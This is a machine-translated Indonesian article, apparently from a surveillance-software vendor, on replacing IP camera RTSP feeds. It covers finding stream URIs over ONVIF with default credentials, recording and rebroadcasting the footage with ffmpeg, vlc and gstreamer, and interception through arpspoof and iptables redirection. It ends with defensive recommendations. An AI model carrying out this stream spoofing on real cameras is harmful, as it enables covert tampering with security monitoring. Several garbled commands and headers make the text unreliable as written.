Meretas kamera CCTV dalam praktiknya

Penggemar film Ocean's Eleven Friends pasti mengenali bingkai yang kami pilih untuk menggambarkan artikel ini. Momen ketika orang-orang tangguh dengan terampil mengganti sinyal analog dari kamera CCTV kasino masuk ke pikiran banyak orang. Beberapa bahkan mencoba melakukan ini di kehidupan nyata.

gambar

Teknologi telah berubah, sekarang kamera IP lebih disukai daripada analog, metode untuk memutusnya akan dibahas secara rinci nanti.

Jika Anda tidak paranoid, ini tidak berarti Anda tidak diawasi


Sebagian besar peretas melakukan ini untuk bersenang-senang atau untuk mendapatkan ketenaran di Internet. Mereka menggunakan "lubang" yang terkenal dalam sistem pendukung kamera dan memposting, menurut pendapat mereka, video lucu tentang sumber daya Internet yang populer. YouTube penuh dengan video serupa .

Kami akan mempertimbangkan konsekuensi yang lebih serius dari kerentanan, yaitu ketika cracker tidak mengkhianati dirinya sendiri dan penetrasi ke dalam sistem. Serangan seperti itu biasanya direncanakan dengan hati-hati sebelumnya, seminggu, atau bahkan sebulan sebelum peretasan.

Seperti dalam contoh kami tentang Ocean Eleven, kita akan berbicara tentang mengganti aliran dalam sistem pengawasan video, bukan hanya analog, tetapi sinyal digital, yaitu aliran RTSP.

Karena semua informasi dalam artikel ini bersifat informasi dan terutama ditujukan untuk menghilangkan kesalahan keamanan ketika membangun sistem pengawasan video, kami tidak merekomendasikan menggunakan kerentanan, yang akan dibahas nanti. Itulah sebabnya peretasan jaringan pengawasan video itu sendiri akan dianggap hanya secara dangkal dan metode yang dijelaskan melibatkan akses terbuka ke jaringan perusahaan atau orang pribadi. Ingat bahwa akses tidak sah ke data dapat dituntut.

Pengalaman perusahaan kami menunjukkan bahwa topik tersebut sangat relevan, karena pada tahap commissioning sistem pengawasan video, banyak orang menghubungkan kamera ke sistem mereka menggunakan tautan RTSP. Entah untuk menghemat waktu, entah karena ketidaktahuan, atau karena merasa perlu, banyak yang bahkan tidak berpikir untuk mengubah kata sandi atau melihat pengaturan keamanan yang didukung kamera mereka.

Omong-omong, RTSP (Real Time Streaming Protocol) adalah protokol yang memungkinkan Anda untuk mengontrol video streaming secara real time. Yang perlu kita ketahui tentang hal itu adalah bahwa dengan bantuan tautan RTSP kita akan mengambil aliran video dari kamera.

Akhirnya, kita harus berlatih , yaitu sesuai dengan rencana yang akan kita tindak lanjuti:

1. Mendapatkan tautan RTSP untuk kamera yang alirannya ingin kami ganti.
2. Mempersiapkan file video untuk siaran selanjutnya.
3. Siarkan file yang direkam.
4. Perlindungan terhadap swapping aliran sekunder.

Memperoleh RTSP URI Stream


Untuk mengganti sinyal dari kamera, Anda harus terlebih dahulu menemukan aliran video yang kami butuhkan. Ini akan membutuhkan tautan ke sana melalui protokol RTSP. Kamera biasanya mentransmisikan banyak gambar (resolusi tinggi dan rendah). Yang pertama digunakan untuk merekam, dan yang kedua - untuk disiarkan di layar pengawasan video. Resolusi minimum (paling sering 320 x 240 piksel) mengurangi beban pada peralatan. Untuk setiap aliran RTSP, tautannya sering dibedakan dengan satu digit pada kunci.

Kamera yang berbeda mungkin memiliki tautan RTSP yang berbeda, tetapi pandangan umumnya kira-kira sebagai berikut:
rtsp: // [login: password @] ip-address: RTSP-port [/ key] .

Penguraiannya sebagai berikut:

  • login dan kata sandi - yang digunakan untuk mengakses kamera (mungkin tidak);
  • jika tautan berisi nama pengguna dan kata sandi, maka simbol @ ditunjukkan setelah mereka untuk memisahkan otorisasi dan alamat IP;
  • Port RTSP melalui mana perintah kontrol video streaming dikirim secara default adalah 554;
  • kuncinya adalah bagian unik dari tautan RTSP, yang dapat bervariasi tergantung pada produsen dan model kamera, misalnya:
    /? user = admin & kata sandi = admin & saluran = channel_number & stream = stream_number.sdp
    /play1.sdp - alih-alih "1" nomor streaming ditunjukkan;
    / live / ch00_0 00 - nomor saluran, 0 - nomor aliran;
    / channel1 - alih-alih β€œ1” nomor aliran ditunjukkan.

Bagaimana cara mengetahui tautan RTSP tanpa memiliki akses ke kamera? Beberapa cara sederhana:

1. Temukan tautan di situs web produsen kamera.
2. Cari di Internet untuk situs-situs yang menyediakan tautan untuk berbagai model kamera, contoh situs semacam itu di sini dan di sini .
3. Unduh manual pengguna di situs web produsen dan temukan informasi yang diperlukan di sana.

Untuk kasus di mana tidak ada metode sederhana yang membantu, ada yang sedikit lebih rumit. Di sini setidaknya dibutuhkan akses ke jaringan tempat kamera berada. Karena sebagian besar kamera modern mendukung ONVIF, kita dapat mengetahui tautan RTSP menggunakan protokol ini.
Untuk melakukan ini, kirim beberapa permintaan tanpa otorisasi atau dengan otorisasi pada kamera yang diusulkan secara default, misalnya, "admin: admin" atau "admin: 12345". Ngomong-ngomong, dalam praktiknya ada kamera yang memiliki filter alamat IP yang valid dan login dan kata sandi yang tidak standar, tetapi karena kesalahan dalam firmware ketika mengakses melalui protokol ONVIF, otorisasi atau filter tidak diperiksa.

Bagaimana cara mendapatkan tautan yang diinginkan untuk kedua aliran dari kamera melalui protokol ONVIF?

1. Menggunakan perintah GetProfiles, kami mencari tahu nama profil yang uri kami butuhkan
 POST / onvif / media_service HTTP / 1.1
 Tuan rumah: 192.168.1.77
 User-Agent: gSOAP / 2.8
 Tipe-Konten: aplikasi / sabun + xml;  charset = utf-8;  action = "http://www.onvif.org/ver10/media/wsdl/GetProfiles"
 Panjang Konten: 2120
 Koneksi: tetap hidup
 SOAPAction: "http://www.onvif.org/ver10/media/wsdl/GetProfiles"

 <? xml version = "1.0" encoding = "UTF-8"?>
 <SOAP-ENV: Envelope xmlns: SOAP-ENV = "http://www.w3.org/2003/05/soap-envelope"
                    .
                    Lewati deskripsi seluruh namespace.
                    .
                    xmlns: trt = "http://www.onvif.org/ver10/media/wsdl">
     <SOAP-ENV: Header> </ SOAP-ENV: Header>
     <SOAP-ENV: Body>
         <trt: GetProfiles />
     </ SOAP-ENV: Tubuh>
 </ SOAP-ENV: Envelope>


2. Dalam jawaban panjang yang diterima, kami menemukan garis dengan nama profil pertama dan kedua
 HTTP / 1.1 200 OK
 Server: gSOAP / 2.8
 Tipe-Konten: aplikasi / sabun + xml;  charset = utf-8;  action = "http://www.onvif.org/ver10/media/wsdl/GetProfiles"
 Panjang Konten: 17405
 Koneksi: tutup

 <? xml version = "1.0" encoding = "UTF-8"?>
 <SOAP-ENV: Envelope xmlns: SOAP-ENV = "http://www.w3.org/2003/05/soap-envelope"
                    .
                    Lewati deskripsi seluruh namespace.
                    .
                    xmlns: tns1 = "http://www.onvif.org/ver10/topics">
     <SOAP-ENV: Header> </ SOAP-ENV: Header>
     <SOAP-ENV: Body>
         <trt: GetProfilesResponse>
             <trt: Profil fixed = "true" token = "profile_cam1_stream1">
                 <tt: Name> profile_cam1_stream1 </ tt: Name>
                 <tt: VideoSourceConfiguration token = "videosource_config_cam1">
                     <tt: Name> videosource_config_cam1 </ tt: Name>
                     .
                     Lewati deskripsi profil.
                     .
             </ trt: Profiles>
             <trt: Profil fixed = "true" token = "profile_cam1_stream2">
                 <tt: Name> profile_cam1_stream2 </ tt: Name>
                 .
                 Kami melewatkan deskripsi profil kedua.
                 .
             </ trt: Profiles>
             .
             Kami tidak mempertimbangkan profil ketiga.
             .
         </ trt: GetProfilesResponse>
     </ SOAP-ENV: Tubuh>
 </ SOAP-ENV: Envelope>

 - profile_cam1_stream1 adalah nama profil pertama di kamera.
 - profile_cam1_stream2 adalah nama profil kedua pada kamera.


3. Sekarang Anda perlu meminta rtsp uri untuk profil ini menggunakan perintah GetStreamUri, menentukan profil yang diinginkan di bidang ProfileToken
 Contoh untuk utas pertama:

 POST / onvif / media_service HTTP / 1.1
 Tuan rumah: 192.168.1.77
 User-Agent: gSOAP / 2.8
 Tipe-Konten: aplikasi / sabun + xml;  charset = utf-8;  action = "http://www.onvif.org/ver10/media/wsdl/GetStreamUri"
 Panjang Konten: 2479
 Koneksi: tetap hidup
 SOAPAction: "http://www.onvif.org/ver10/media/wsdl/GetStreamUri"

 <? xml version = "1.0" encoding = "UTF-8"?>
 <SOAP-ENV: Envelope xmlns: SOAP-ENV = "http://www.w3.org/2003/05/soap-envelope"
                    .
                    Lewati deskripsi seluruh namespace.
                    .
                    xmlns: trt = "http://www.onvif.org/ver10/media/wsdl">
     <SOAP-ENV: Header> </ SOAP-ENV: Header>
     <SOAP-ENV: Body>
         <trt: GetStreamUri>
             <trt: StreamSetup xsi: type = "tt: StreamSetup">
                 <tt: Stream xsi: type = "tt: StreamType"> RTP-Unicast </ tt: Stream>
                 <tt: Transport xsi: type = "tt: Transport">
                     <tt: Protokol xsi: type = "tt: TransportProtocol"> UDP </ tt: Protokol>
                 </ tt: Transport>
             </ trt: StreamSetup>
             <trt: ProfileToken xsi: type = "tt: ReferenceToken"> profile_cam1_stream1 </ trt: ProfileToken>
         </ trt: GetStreamUri>
     </ SOAP-ENV: Tubuh>
 </ SOAP-ENV: Envelope>

 Sebagai tanggapan, kami mendapatkan tautan yang kami butuhkan:

 HTTP / 1.1 200 OK
 Server: gSOAP / 2.8
 Tipe-Konten: aplikasi / sabun + xml;  charset = utf-8;  action = "http://www.onvif.org/ver10/media/wsdl/GetStreamUri"
 Panjang Konten: 3701
 Koneksi: tutup

 <? xml version = "1.0" encoding = "UTF-8"?>
 <SOAP-ENV: Envelope xmlns: SOAP-ENV = "http://www.w3.org/2003/05/soap-envelope"
                    .
                    Lewati deskripsi seluruh namespace.
                    .
                    xmlns: tns1 = "http://www.onvif.org/ver10/topics">
     <SOAP-ENV: Header> </ SOAP-ENV: Header>
     <SOAP-ENV: Body>
         <trt: GetStreamUriResponse>
             <trt: MediaUri>
                 <tt: Uri> rtsp: //192.168.1.77: 554 / snl / live / 1/1 </ tt: Uri>
                 <tt: InvalidAfterConnect> false </ tt: InvalidAfterConnect>
                 <tt: InvalidAfterReboot> false </ tt: InvalidAfterReboot>
                 <tt: Timeout> PT0S </ tt: Timeout>
             </ trt: MediaUri>
         </ trt: GetStreamUriResponse>
     </ SOAP-ENV: Tubuh>
 </ SOAP-ENV: Envelope>

 Kami melakukan hal yang sama untuk streaming kedua dan mendapatkan tautan:
 <tt: Uri> rtsp: //192.168.1.77: 554 / snl / live / 1/2 </ tt: Uri>


Tulis aliran RTSP ke file


Ketika kami mendapatkan tautan rtsp yang diperlukan, kami perlu merekam siaran video yang berlangsung beberapa jam. Jangan lupa bahwa dual-threading digunakan dalam sistem modern, jadi Anda perlu merekam kedua aliran pada saat yang sama.

Anda dapat merekam streaming video menggunakan protokol RTSP menggunakan berbagai perangkat lunak. Pertimbangkan yang paling populer: ffmpeg, gstreamer dan vlc .

1. Streaming rekaman melalui ffmpeg
 $ man ffmpeg
 Kami tertarik pada:
 - salin vcodec - salin video ke file;
 - salin acodec - menyalin audio ke file;
 - rtsp_transport tcp - pemilihan metode untuk mentransmisikan stream;
 - r 25 - mengatur frame rate per detik;
 - copy - cap waktu penyalinan;
 - start_at_zero - salin cap waktu mulai dari 00: 00: 00: 000

 Kami mengganti tautan RTSP kami dan melalui salinan kami menentukan jalur dan nama file yang akan dituju
 % ffmpeg -i rtsp: //192.168.1.77: 554 / snl / live / 1/1-copyts -start_at_zero -rtsp_transport tcp -r 25 -plikasi pvcodec -acodec copy /home/line/example/1.avi

gambar

Menulis ke file telah dimulai.

2. Merekam melalui vlc
 Anda dapat membiasakan diri dengan serangkaian perintah yang ditawarkan oleh media player vlc menggunakan perintah
 $ vlc –j.

 Kami tertarik pada:
 - sout = # file {path} - arahkan ke file yang ingin kita salin videonya;
 - rtsp-tcp - menerima rtsp oleh tcp;
 - rtsp-frame-buffer-size = 1000 - buffer sehingga video tidak hancur selama pemutaran;
 - h264-fps = 25 - add-on untuk 25 frame.

 Ganti data kami dan jalankan
 $ cvlc rtsp: //192.168.1.77: 554 / snl / live / 1/1 --rtsp-tcp --rtsp-frame-buffer-size = 1000 --h264-fps = 25: sout = # file {dst = /home/line/example/1.avi}.

 Jendela vlc akan terbuka dan perekaman akan dimulai, ketika Anda menutup jendela, perekaman akan berhenti.


3. Merekam melalui gstreamer
 Informasi tentang bekerja dengan gstreamer dapat ditemukan <a href="https://gstreamer.freedesktop.org/documentation/plugins.html"> di sini </a>.
 - rtspsrc location = "rtsp: //192.168.1.91: 554 / cam / realmonitor? Saluran = 1 & subtipe = 0 & unicast = true & proto = Onvif" - tentukan aliran RTSP sebagai sumber data.
 - rtph264depay - dalam video RTSP berjalan kecil-kecil (paket rtp), melalui rtph264depay kita akan menerima video dari paket-paket ini.
 - h264parse - sesuai namanya, uraikan aliran H.264.
 - avimux - kumpulkan streaming di avi, Anda juga dapat menggunakan mp4mux atau matroskamux (mkv).
 - filesink location = 1.avi - tentukan file tempat video akan disimpan.

 gst-launch-1.0 -v rtspsrc location = "rtsp: //192.168.1.91: 554 / cam / realmonitor? channel = 1 & subtipe = 0 & unicast = true & proto = Onvif"!  rtph264depay!  h264parse!  mp4mux!  lokasi filesink = 1.mp4

gambar

Siaran streaming RTSP dari file


Saatnya untuk mulai menyiarkan file rekaman dalam format RTSP. Untuk melakukan ini, kami akan menggunakan semua program yang sama yang dibahas pada bagian di atas.

1. Untuk menyiarkan aliran video dari kamera menggunakan ffmpeg, Anda harus menggunakan ffserver. Uraiannya dapat ditemukan di sini . Untuk mengatur parameter terjemahan, Anda perlu mengisi file ffserver.conf.

ffserver
 File Ffserver.conf
 RTSPPort - setel nomor port rtsp yang akan digunakan siarannya.
 <Stream snl / live / 1/1> - setelah Stream kami mengatur kunci yang diperlukan.
 Format rtp - format transmisi.
 File "/home/line/example/1.avi" - rtsp_transport tcp - tentukan path ke file yang ingin Anda transfer, dan kunci untuk mentransfer melalui tcp.
 NoAudio - jangan mentransmisikan suara.

 File Ffserver.conf

 RTSPPort 554

 <Streaming snl / live / 1/1>
 Format rtp
 File "/home/line/example/1.avi" -rtsp_transport tcp
 NoAudio 
 </Stream>
 Selanjutnya, jalankan% ffserver -f ffserver.conf.

gambar

2. Sekarang kita akan menggunakan pemutar media-vlc. Terlepas dari kenyataan bahwa ini adalah cara termudah, sayangnya, vlc hanya dapat menyiarkan aliran melalui UDP.

pemutar media vlc
 Perintah untuk memulai aliran rtsp:
 - sout = # rtp {sdp = rtsp: //192.168.1.232: 554 / snl / live / 1/1} - setel tautan tempat siaran akan berlangsung.
 - ulangi - jika perlu, atur video untuk diputar berulang kali.
 vlc /home/line/example/1.avi --sout = # rtp {sdp = rtsp: //192.168.1.232: 554 / snl / live / 1/1} β€”ulangi


3. Akhirnya, menggunakan gst-server.

gst-server
 Pertama, Anda perlu menginstalnya.
 $ sudo apt-get install gstreamer1.0
 $ wget https://gstreamer.freedesktop.org/src/gst-rtsp-server/gst-rtsp-server-1.8.3.tar.xz
 /gst-rtsp-server-1.8.3$ sudo untuk menginstal gtk-doc-tools
 /gst-rtsp-server-1.8.3$ sudo apt-get install libgstreamer-plugins-base1.0-dev
 /gst-rtsp-server-1.8.3$ make
 Sekarang kita dapat mengubah file /gst-rtsp-server-1.8.3/examples/test-launch.c
 Di sini Anda dapat mengubah port RTSP default
 #define DEFAULT_RTSP_PORT "8554"
 dan kuncinya ada di tautan
 gst_rtsp_mount_points_add_factory (mounts, "/ test", factory).
 Setelah mengganti nilai-nilai kami, kami akan membuatnya.
 Sekarang jalankan file uji peluncuran dengan kunci.
 - rtspsrc location = "/ home / line / example / 1.avi" - path ke file yang akan kita mainkan.
 - H264 Encoder - menyandi dalam h.264.
 - rtph264pay name = pay0 pt = 96 - bagi aliran kami menjadi beberapa bagian.
 $ ~ / gst-rtsp-server-1.8.3 / contoh $ ./test-launch "(rtspsrc location =" / home / line / example / 1.avi "! x264enc! rtph264pay nama = pay0 pt = 96)"


File yang direkam disiarkan dalam format RTSP, setelah itu kami memecahkan masalah kegagalan kamera. Di bawah ini adalah beberapa opsi yang bervariasi tergantung pada objek yang ingin kita serang. Bahkan, ada banyak cara lagi, hanya mempertimbangkan yang paling dasar. Hal pertama yang kita butuhkan adalah masuk ke jaringan yang kita butuhkan.

Jika objek besar secara teritori, maka seringkali ada kesempatan untuk mendekati beberapa kamera secara fisik dan bahkan mencoba menemukan peralatan switching yang terhubung dengan kamera.

Jika objeknya kecil, maka Anda dapat mencoba memasuki jaringan melalui wi-fi dan memindainya menggunakan nmap, misalnya.

Juga, jika ada akses fisik ke kamera, Anda dapat meretasnya dalam beberapa tahap menggunakan komputer pelat tunggal:

1) mengaktifkan rekaman wireshark;
2) secara singkat lepaskan kabel dari kamera dan hubungkan ke satu papan;
3) kembalikan kabel ke tempatnya;
4) mempelajari log yang diterima.

Atau jika Anda memiliki akses ke jaringan, Anda dapat menggunakan metode substitusi klasik:

- menggunakan dudukan arpspoof antara kamera dan server;
- gunakan ip_forward untuk meneruskan permintaan dari server pengawasan ke kamera IP, dan sebaliknya;
- menggunakan iptables mengalihkan semua permintaan melalui port RTSP ke server pengawasan bukan dari kamera, tetapi dari mesin kami.

Meretas kamera keamanan


Untuk melindungi diri Anda dari spoofing utas menurut prosedur yang dijelaskan di atas, beberapa metode dapat digunakan:

1. Integrasi Kamera
Perlindungan terbesar diberikan oleh integrasi kamera dalam produk perangkat lunak. Periksa apakah kamera Anda terintegrasi dengan sistem pengawasan Line di sini .
Jika kamera atau pabrikan Anda tidak terdaftar, Anda dapat menghubungi dukungan teknis dengan permintaan untuk mengintegrasikan model kamera IP Anda.

2. Pembaruan firmware
Penting untuk terus memperbarui firmware kamera, karena dengan bantuan pembaruan, para pengembang memperbaiki berbagai kerentanan dan dengan demikian meningkatkan stabilitas kamera.

3. Perubahan login dan kata sandi standar
Hal pertama yang dilakukan penyerang adalah mencoba menggunakan nama pengguna dan kata sandi kamera standar. Mereka ditunjukkan dalam instruksi untuk digunakan, sehingga menemukan mereka tidak sulit. Karena itu, selalu gunakan nama pengguna dan kata sandi yang unik.

4. Mengaktifkan otorisasi wajib
Fitur ini hadir di banyak kamera modern, tetapi, sayangnya, tidak semua pengguna mengetahuinya. Jika Anda menonaktifkan opsi ini, kamera tidak akan meminta otorisasi ketika terhubung dengannya, yang akan membuatnya rentan terhadap peretasan. Perlu dicatat bahwa ada kamera dengan otorisasi ganda untuk akses http dan untuk akses melalui protokol ONVIF. Juga, di beberapa kamera ada pengaturan terpisah untuk permintaan otorisasi saat menghubungkan melalui tautan RTSP langsung.

5. filter alamat IP
Jika kamera mendukung fungsi yang disebut daftar putih, maka lebih baik untuk tidak mengabaikannya. Dengan bantuannya, alamat IP dari mana Anda dapat terhubung ke kamera ditentukan. Ini harus menjadi alamat server yang terhubung dengan kamera dan, jika perlu, alamat IP kedua dari workstation tempat konfigurasi dibuat. Tapi ini bukan metode yang paling dapat diandalkan, karena penyerang dapat menggunakan alamat IP yang sama saat mengganti perangkat. Oleh karena itu, yang terbaik adalah menggunakan opsi ini bersama dengan rekomendasi lainnya.

6. Perlindungan jaringan
Penting untuk mengkonfigurasi peralatan switching dengan benar. Sebagian besar switch sekarang mendukung perlindungan spoofing arp - pastikan untuk menggunakan ini.

7. Berbagi jaringan
Anda harus memberi perhatian khusus pada item ini, karena ini memainkan peran besar dalam keamanan sistem Anda. Pemisahan jaringan perusahaan dan jaringan pengawasan akan melindungi Anda dari penyusup atau bahkan dari karyawan Anda sendiri yang memiliki akses ke jaringan bersama dan ingin meretas Anda.

8. Menghidupkan menu OSD
Anda harus mengaktifkan menu OSD dengan waktu dan tanggal saat ini di kamera sehingga Anda selalu dapat memeriksa relevansi gambar. Ini adalah cara yang baik untuk melindungi terhadap perubahan rekaman, karena OSD ditumpangkan pada semua video yang berasal dari kamera tertentu. Bahkan ketika seorang penyerang menuliskan aliran RTSP, spoofing akan terlihat berkat data yang akan tetap ada di frame video.

Sayangnya, banyak penyerang telah belajar untuk dengan cepat menemukan dan memanfaatkan kerentanan dalam sistem pengawasan video IP. Untuk mengamankan jaringan, Anda perlu membiasakan diri dengan metode perlindungan yang dijelaskan dalam artikel ini. Berikan waktu yang cukup untuk commissioning sistem, dan khususnya untuk mengkonfigurasi semua komponennya dengan benar. Jadi, Anda dapat memberikan jaringan dengan keamanan maksimum dari peretasan.

Sebagai kesimpulan, kami sarankan Anda berbagi dalam komentar, bagaimana Anda akan mendekati perlindungan jaringan pengawasan video Anda dari peretasan? Metode serangan apa yang Anda anggap paling berbahaya?

Source: https://habr.com/ru/post/id405083/


All Articles